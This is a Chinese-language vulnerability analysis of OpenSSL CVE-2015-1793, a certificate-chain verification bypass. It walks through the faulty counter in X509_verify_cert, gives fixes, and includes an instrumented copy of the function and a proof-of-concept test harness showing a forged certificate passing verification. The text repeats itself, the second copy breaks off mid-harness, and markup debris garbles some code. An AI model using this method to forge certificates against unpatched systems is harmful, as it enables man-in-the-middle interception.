攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说,验证过程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。

虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。

2.具体漏洞分析

漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert() 中

第 392 行:“ctx->last_untrusted–;”

对问题函数 X509_verify_cert 的简单分析:

( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)

问题在于由 <1> 处加入颁发者时及 <2> 处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加,

而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。

(上述 V, X, C 链中应验 V, X 但少验了 X)

代码分析如下:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
// 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain
// STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
sk_X509_push(ctx->chain,ctx->cert);
// 当前链长度(==1)
num = sk_X509_num(ctx->chain);
// 取出第 num 个证书
x = sk_X509_value(ctx->chain, num - 1);
// 存在不信任链则复制之
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
// 预设定的最大链深度(100)
depth = param->depth;
// 构造需验证证书链
for (;;) {
// 超长退出
if (depth < num)
break;
// 遇自签退出(链顶)
if (cert_self_signed(x))
break;
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
// 当前证书为不信任颁发者(应需CA标志)颁发
if (xtmp != NULL) {
// 则加入需验证链
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
// 最后一个不可信证书位置计数 自增1
ctx->last_untrusted++;
x = xtmp;
num++;
continue;
}
}
break;
}
do {
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
// 若最顶证书是自签的
if (cert_self_signed(x)) {
// 若需验证链长度 == 1
if (sk_X509_num(ctx->chain) == 1) {
// 在可信链中查找其颁发者(找自己)
ok = ctx->get_issuer(&xtmp, ctx, x);

// 没找到或不是相同证书
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
// 找到
} else {
X509_free(x);
x = xtmp;
// 入到可信链
(void)sk_X509_set(ctx->chain, i - 1, x);
// 最后一个不可信证书位置计数 置0
ctx->last_untrusted = 0;
}
// 最顶为自签证书 且 证书链长度>1
} else {
// 弹出
chain_ss = sk_X509_pop(ctx->chain);
// 最后一个不可信证书位置计数 自减
ctx->last_untrusted--;
num--;
j--;
// 保持指向当前最顶证书
x = sk_X509_value(ctx->chain, num - 1);
}
}
// <1>
// 继续构造证书链(加入颁发者)
for (;;) {
// 自签退出
if (cert_self_signed(x))
break;
// 在可信链中查找其颁发者
ok = ctx->get_issuer(&xtmp, ctx, x);
// 出错
if (ok < 0)
return ok;
// 没找到
if (ok == 0)
break;
x = xtmp;
// 将不可信证书的颁发者(证书)加入需验证证书链
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}
// <2>
// 验证 for(;;) 中加入的颁发者链
i = check_trust(ctx);
if (i == X509_TRUST_REJECTED)
goto end;
retry = 0;
// <3>
// 检查交叉链
if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
// 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
// 存在交叉链
if (ok > 0) {
X509_free(xtmp);

// 去除交叉链以上部分
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
// <4>
// 问题所在
ctx->last_untrusted--;
}
// <5>
retry = 1;
break;
}
}
}
} while (retry);
……
}官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。

另一个解决办法可以是在 <1> <2> 后,在 <3> 处重置 最后一个不可信证书位置计数,加一行:

ctx->last_untrusted = num;

这样 <4> 处不用删除,而逻辑也是合理并前后一致的。

3.漏洞验证

笔者修改了部分代码并做了个Poc 。修改代码:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
X509 [i]x, [/i]xtmp, [i]xtmp2, [/i]chain_ss = NULL;
int bad_chain = 0;
X509_VERIFY_PARAM *param = ctx->param;
int depth, i, ok = 0;
int num, j, retry;
int ([i]cb) (int xok, X509_STORE_CTX [/i]xctx);
STACK_OF(X509) *sktmp = NULL;
if (ctx->cert == NULL) {
X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
return -1;
}

cb = ctx->verify_cb;

/*
* first we make sure the chain we are going to build is present and that
* the first entry is in place
*/
if (ctx->chain == NULL) {
if (((ctx->chain = sk_X509_new_null()) == NULL) ||
(!sk_X509_push(ctx->chain, ctx->cert))) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
ctx->last_untrusted = 1;
}

/[i] We use a temporary STACK so we can chop and hack at it [/i]/
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}

num = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, num - 1);
depth = param->depth;

for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break; /* FIXME: If this happens, we should take
* note of it and, if appropriate, use the
* X509_V_ERR_CERT_CHAIN_TOO_LONG error code
[i] later. [/i]/

/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;

/*
* If asked see if we can find issuer in trusted store first
*/
if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
ok = ctx->get_issuer(&xtmp, ctx, x);
if (ok < 0)
return ok;
/*
* If successful for now free up cert so it will be picked up
* again later.
*/
if (ok > 0) {
X509_free(xtmp);
break;
}
}

/[i] If we were passed a cert chain, use it first [/i]/
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
if (xtmp != NULL) {
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
ctx->last_untrusted++;
x = xtmp;
num++;
/*
* reparse the full chain for the next one
*/
continue;
}
}
break;
}

/[i] Remember how many untrusted certs we have [/i]/
j = num;
/*
* at this point, chain should contain a list of untrusted certificates.
* We now need to add at least one trusted one, if possible, otherwise we
* complain.
*/

do {
/*
* Examine last certificate in chain and see if it is self signed.
*/
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
if (cert_self_signed(x)) {
/[i] we have a self signed certificate [/i]/
if (sk_X509_num(ctx->chain) == 1) {
/*
* We have a single self signed certificate: see if we can
* find it in the store. We must have an exact match to avoid
* possible impersonation.
*/
ok = ctx->get_issuer(&xtmp, ctx, x);
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
} else {
/*
* We have a match: replace certificate with store
* version so we get any trust settings.
*/
X509_free(x);
x = xtmp;
(void)sk_X509_set(ctx->chain, i - 1, x);
ctx->last_untrusted = 0;
}
} else {
/*
* extract and save self signed certificate for later use
*/
chain_ss = sk_X509_pop(ctx->chain);
ctx->last_untrusted--;
num--;
j--;
x = sk_X509_value(ctx->chain, num - 1);
}
}
/[i] We now lookup certs from the certificate store [/i]/
for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break;
/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;
ok = ctx->get_issuer(&xtmp, ctx, x);

if (ok < 0)
return ok;
if (ok == 0)
break;
x = xtmp;
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}

/[i] we now have our chain, lets check it... [/i]/
i = check_trust(ctx);

/[i] If explicitly rejected error [/i]/
if (i == X509_TRUST_REJECTED)
goto end;

/*
* If it's not explicitly trusted then check if there is an alternative
* chain that could be used. We only do this if we haven't already
* checked via TRUSTED_FIRST and the user hasn't switched off alternate
* chain checking
*/
retry = 0;
// <1>
//ctx->last_untrusted = num;


if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
/[i] Check if we found an alternate chain [/i]/
if (ok > 0) {
/*
* Free up the found cert we'll add it again later
*/
X509_free(xtmp);

/*
* Dump all the certs above this point - we've found an
* alternate chain
*/
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
ctx->last_untrusted--;
}
retry = 1;
break;
}
}
}
} while (retry);

printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
/*
* If not explicitly trusted then indicate error unless it's a single
* self signed certificate in which case we've indicated an error already
* and set bad_chain == 1
*/


if (i != X509_TRUST_TRUSTED && !bad_chain) {
if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
if (ctx->last_untrusted >= num)
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
else
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
ctx->current_cert = x;
} else {
sk_X509_push(ctx->chain, chain_ss);
num++;
ctx->last_untrusted = num;
ctx->current_cert = chain_ss;
ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
chain_ss = NULL;
}

ctx->error_depth = num - 1;
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=1\n");
/[i] We have the chain complete: now we need to check its purpose [/i]/
ok = check_chain_extensions(ctx);

if (!ok)
goto end;

printf("flag=2\n");
/[i] Check name constraints [/i]/

ok = check_name_constraints(ctx);

if (!ok)
goto end;
printf("flag=3\n");
ok = check_id(ctx);

if (!ok)
goto end;
printf("flag=4\n");
/[i] We may as well copy down any DSA parameters that are required [/i]/
X509_get_pubkey_parameters(NULL, ctx->chain);

/*
* Check revocation status: we do this after copying parameters because
* they may be needed for CRL signature verification.
*/

ok = ctx->check_revocation(ctx);
if (!ok)
goto end;
printf("flag=5\n");
i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
ctx->param->flags);
if (i != X509_V_OK) {
ctx->error = i;
ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=6\n");
/[i] At this point, we have a chain and need to verify it [/i]/
if (ctx->verify != NULL)
ok = ctx->verify(ctx);
else
ok = internal_verify(ctx);
if (!ok)
goto end;
printf("flag=7\n");
#ifndef OPENSSL_NO_RFC3779
/[i] RFC 3779 path validation, now that CRL check has been done [/i]/
ok = v3_asid_validate_path(ctx);
if (!ok)
goto end;
ok = v3_addr_validate_path(ctx);
if (!ok)
goto end;
#endif

printf("flag=8\n");
/[i] If we get this far evaluate policies [/i]/
if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
ok = ctx->check_policy(ctx);
if (!ok)
goto end;
if (0) {
end:
X509_get_pubkey_parameters(NULL, ctx->chain);
}
if (sktmp != NULL)
sk_X509_free(sktmp);
if (chain_ss != NULL)
X509_free(chain_ss);
printf("ok=%d\n", ok );
return ok;
}Poc:
//
//里头的证书文件自己去找一个,这个不提供了
//
#include <stdio.h>
#include <openssl/crypto.h>
#include <openssl/bio.h>
#include <openssl/x509.h>
#include <openssl/pem.h>


STACK_OF(X509) [i]load_certs_from_file(const char [/i]file)
{
STACK_OF(X509) *certs;
BIO *bio;
X509 *x;
bio = BIO_new_file( file, "r");
certs = sk_X509_new_null();
do
{
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sk_X509_push(certs, x);
}while( x != NULL );

return certs;
}


void test(void)
{
X509 *x = NULL;
STACK_OF(X509) *untrusted = NULL;
BIO *bio = NULL;
X509_STORE_CTX *sctx = NULL;
X509_STORE *store = NULL;
X509_LOOKUP *lookup = NULL;

store = X509_STORE_new();
lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
untrusted = load_certs_from_file("untrusted.pem");
bio = BIO_new_file("bad.pem", "r");
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sctx = X509_STORE_CTX_new();
X509_STORE_CTX_init(sctx, store, x, untrusted);
X509_verify_cert(sctx);
}

int main(void)
{
test();
return 0;
}
将代码中 X509_verify_cert() 函数加入输出信息如下:

编译,以伪造证书测试,程序输出信息为:

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功

将 <1> 处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:

num=3, real-num=3

flag=1

ok=0

认证失败

4.安全建议

建议使用受影响版本(OpenSSL 1.0.2b/1.0.2c 和 OpenSSL 1.0.1n/1.0.1o)的 产品或代码升级OpenSSL到最新版本 查看全部


引言


OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。

360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。


1.漏洞基本原理


直接看最简单的利用方法(利用方法包括但不限于此):

攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说,验证过程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。

虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。


2.具体漏洞分析


漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert() 中

第 392 行:“ctx->last_untrusted–;”

对问题函数 X509_verify_cert 的简单分析:

( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)

问题在于由 <1> 处加入颁发者时及 <2> 处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加,

而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。

(上述 V, X, C 链中应验 V, X 但少验了 X)

代码分析如下:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
// 将 ctx->cert 做为不信任证书压入需验证链 ctx->chain
// STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
sk_X509_push(ctx->chain,ctx->cert);
// 当前链长度(==1)
num = sk_X509_num(ctx->chain);
// 取出第 num 个证书
x = sk_X509_value(ctx->chain, num - 1);
// 存在不信任链则复制之
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
// 预设定的最大链深度(100)
depth = param->depth;
// 构造需验证证书链
for (;;) {
// 超长退出
if (depth < num)
break;
// 遇自签退出(链顶)
if (cert_self_signed(x))
break;
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
// 当前证书为不信任颁发者(应需CA标志)颁发
if (xtmp != NULL) {
// 则加入需验证链
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
// 最后一个不可信证书位置计数 自增1
ctx->last_untrusted++;
x = xtmp;
num++;
continue;
}
}
break;
}
do {
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
// 若最顶证书是自签的
if (cert_self_signed(x)) {
// 若需验证链长度 == 1
if (sk_X509_num(ctx->chain) == 1) {
// 在可信链中查找其颁发者(找自己)
ok = ctx->get_issuer(&xtmp, ctx, x);

// 没找到或不是相同证书
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
// 找到
} else {
X509_free(x);
x = xtmp;
// 入到可信链
(void)sk_X509_set(ctx->chain, i - 1, x);
// 最后一个不可信证书位置计数 置0
ctx->last_untrusted = 0;
}
// 最顶为自签证书 且 证书链长度>1
} else {
// 弹出
chain_ss = sk_X509_pop(ctx->chain);
// 最后一个不可信证书位置计数 自减
ctx->last_untrusted--;
num--;
j--;
// 保持指向当前最顶证书
x = sk_X509_value(ctx->chain, num - 1);
}
}
// <1>
// 继续构造证书链(加入颁发者)
for (;;) {
// 自签退出
if (cert_self_signed(x))
break;
// 在可信链中查找其颁发者
ok = ctx->get_issuer(&xtmp, ctx, x);
// 出错
if (ok < 0)
return ok;
// 没找到
if (ok == 0)
break;
x = xtmp;
// 将不可信证书的颁发者(证书)加入需验证证书链
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}
// <2>
// 验证 for(;;) 中加入的颁发者链
i = check_trust(ctx);
if (i == X509_TRUST_REJECTED)
goto end;
retry = 0;
// <3>
// 检查交叉链
if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
// 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
// 存在交叉链
if (ok > 0) {
X509_free(xtmp);

// 去除交叉链以上部分
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
// <4>
// 问题所在
ctx->last_untrusted--;
}
// <5>
retry = 1;
break;
}
}
}
} while (retry);
……
}
官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。

另一个解决办法可以是在 <1> <2> 后,在 <3> 处重置 最后一个不可信证书位置计数,加一行:

ctx->last_untrusted = num;

这样 <4> 处不用删除,而逻辑也是合理并前后一致的。


3.漏洞验证


笔者修改了部分代码并做了个Poc 。修改代码:
int X509_verify_cert(X509_STORE_CTX *ctx)
{
X509 [i]x, [/i]xtmp, [i]xtmp2, [/i]chain_ss = NULL;
int bad_chain = 0;
X509_VERIFY_PARAM *param = ctx->param;
int depth, i, ok = 0;
int num, j, retry;
int ([i]cb) (int xok, X509_STORE_CTX [/i]xctx);
STACK_OF(X509) *sktmp = NULL;
if (ctx->cert == NULL) {
X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
return -1;
}

cb = ctx->verify_cb;

/*
* first we make sure the chain we are going to build is present and that
* the first entry is in place
*/
if (ctx->chain == NULL) {
if (((ctx->chain = sk_X509_new_null()) == NULL) ||
(!sk_X509_push(ctx->chain, ctx->cert))) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
ctx->last_untrusted = 1;
}

/[i] We use a temporary STACK so we can chop and hack at it [/i]/
if (ctx->untrusted != NULL
&& (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}

num = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, num - 1);
depth = param->depth;

for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break; /* FIXME: If this happens, we should take
* note of it and, if appropriate, use the
* X509_V_ERR_CERT_CHAIN_TOO_LONG error code
[i] later. [/i]/

/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;

/*
* If asked see if we can find issuer in trusted store first
*/
if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
ok = ctx->get_issuer(&xtmp, ctx, x);
if (ok < 0)
return ok;
/*
* If successful for now free up cert so it will be picked up
* again later.
*/
if (ok > 0) {
X509_free(xtmp);
break;
}
}

/[i] If we were passed a cert chain, use it first [/i]/
if (ctx->untrusted != NULL) {
xtmp = find_issuer(ctx, sktmp, x);
if (xtmp != NULL) {
if (!sk_X509_push(ctx->chain, xtmp)) {
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
goto end;
}
CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
(void)sk_X509_delete_ptr(sktmp, xtmp);
ctx->last_untrusted++;
x = xtmp;
num++;
/*
* reparse the full chain for the next one
*/
continue;
}
}
break;
}

/[i] Remember how many untrusted certs we have [/i]/
j = num;
/*
* at this point, chain should contain a list of untrusted certificates.
* We now need to add at least one trusted one, if possible, otherwise we
* complain.
*/

do {
/*
* Examine last certificate in chain and see if it is self signed.
*/
i = sk_X509_num(ctx->chain);
x = sk_X509_value(ctx->chain, i - 1);
if (cert_self_signed(x)) {
/[i] we have a self signed certificate [/i]/
if (sk_X509_num(ctx->chain) == 1) {
/*
* We have a single self signed certificate: see if we can
* find it in the store. We must have an exact match to avoid
* possible impersonation.
*/
ok = ctx->get_issuer(&xtmp, ctx, x);
if ((ok <= 0) || X509_cmp(x, xtmp)) {
ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
ctx->current_cert = x;
ctx->error_depth = i - 1;
if (ok == 1)
X509_free(xtmp);
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
} else {
/*
* We have a match: replace certificate with store
* version so we get any trust settings.
*/
X509_free(x);
x = xtmp;
(void)sk_X509_set(ctx->chain, i - 1, x);
ctx->last_untrusted = 0;
}
} else {
/*
* extract and save self signed certificate for later use
*/
chain_ss = sk_X509_pop(ctx->chain);
ctx->last_untrusted--;
num--;
j--;
x = sk_X509_value(ctx->chain, num - 1);
}
}
/[i] We now lookup certs from the certificate store [/i]/
for (;;) {
/[i] If we have enough, we break [/i]/
if (depth < num)
break;
/[i] If we are self signed, we break [/i]/
if (cert_self_signed(x))
break;
ok = ctx->get_issuer(&xtmp, ctx, x);

if (ok < 0)
return ok;
if (ok == 0)
break;
x = xtmp;
if (!sk_X509_push(ctx->chain, x)) {
X509_free(xtmp);
X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
return 0;
}
num++;
}

/[i] we now have our chain, lets check it... [/i]/
i = check_trust(ctx);

/[i] If explicitly rejected error [/i]/
if (i == X509_TRUST_REJECTED)
goto end;

/*
* If it's not explicitly trusted then check if there is an alternative
* chain that could be used. We only do this if we haven't already
* checked via TRUSTED_FIRST and the user hasn't switched off alternate
* chain checking
*/
retry = 0;
// <1>
//ctx->last_untrusted = num;


if (i != X509_TRUST_TRUSTED
&& !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
&& !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
while (j-- > 1) {
xtmp2 = sk_X509_value(ctx->chain, j - 1);
ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
if (ok < 0)
goto end;
/[i] Check if we found an alternate chain [/i]/
if (ok > 0) {
/*
* Free up the found cert we'll add it again later
*/
X509_free(xtmp);

/*
* Dump all the certs above this point - we've found an
* alternate chain
*/
while (num > j) {
xtmp = sk_X509_pop(ctx->chain);
X509_free(xtmp);
num--;
ctx->last_untrusted--;
}
retry = 1;
break;
}
}
}
} while (retry);

printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
/*
* If not explicitly trusted then indicate error unless it's a single
* self signed certificate in which case we've indicated an error already
* and set bad_chain == 1
*/


if (i != X509_TRUST_TRUSTED && !bad_chain) {
if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
if (ctx->last_untrusted >= num)
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
else
ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
ctx->current_cert = x;
} else {
sk_X509_push(ctx->chain, chain_ss);
num++;
ctx->last_untrusted = num;
ctx->current_cert = chain_ss;
ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
chain_ss = NULL;
}

ctx->error_depth = num - 1;
bad_chain = 1;
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=1\n");
/[i] We have the chain complete: now we need to check its purpose [/i]/
ok = check_chain_extensions(ctx);

if (!ok)
goto end;

printf("flag=2\n");
/[i] Check name constraints [/i]/

ok = check_name_constraints(ctx);

if (!ok)
goto end;
printf("flag=3\n");
ok = check_id(ctx);

if (!ok)
goto end;
printf("flag=4\n");
/[i] We may as well copy down any DSA parameters that are required [/i]/
X509_get_pubkey_parameters(NULL, ctx->chain);

/*
* Check revocation status: we do this after copying parameters because
* they may be needed for CRL signature verification.
*/

ok = ctx->check_revocation(ctx);
if (!ok)
goto end;
printf("flag=5\n");
i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
ctx->param->flags);
if (i != X509_V_OK) {
ctx->error = i;
ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
ok = cb(0, ctx);
if (!ok)
goto end;
}
printf("flag=6\n");
/[i] At this point, we have a chain and need to verify it [/i]/
if (ctx->verify != NULL)
ok = ctx->verify(ctx);
else
ok = internal_verify(ctx);
if (!ok)
goto end;
printf("flag=7\n");
#ifndef OPENSSL_NO_RFC3779
/[i] RFC 3779 path validation, now that CRL check has been done [/i]/
ok = v3_asid_validate_path(ctx);
if (!ok)
goto end;
ok = v3_addr_validate_path(ctx);
if (!ok)
goto end;
#endif

printf("flag=8\n");
/[i] If we get this far evaluate policies [/i]/
if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
ok = ctx->check_policy(ctx);
if (!ok)
goto end;
if (0) {
end:
X509_get_pubkey_parameters(NULL, ctx->chain);
}
if (sktmp != NULL)
sk_X509_free(sktmp);
if (chain_ss != NULL)
X509_free(chain_ss);
printf("ok=%d\n", ok );
return ok;
}
Poc:
//
//里头的证书文件自己去找一个,这个不提供了
//
#include <stdio.h>
#include <openssl/crypto.h>
#include <openssl/bio.h>
#include <openssl/x509.h>
#include <openssl/pem.h>


STACK_OF(X509) [i]load_certs_from_file(const char [/i]file)
{
STACK_OF(X509) *certs;
BIO *bio;
X509 *x;
bio = BIO_new_file( file, "r");
certs = sk_X509_new_null();
do
{
x = PEM_read_bio_X509(bio, NULL, 0, NULL);
sk_X509_push(certs, x);
}while( x != NULL );

return certs;
}


void test(void)
{
X509 *x = NULL;
STACK_OF(X509) *untrusted = NULL;
BIO *bio = NULL;
X509_STORE_CTX *sctx = NULL;
X509_STORE *store = NULL;
X509_LOOKUP *lookup = NULL;

store = X509_STORE_new();
lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
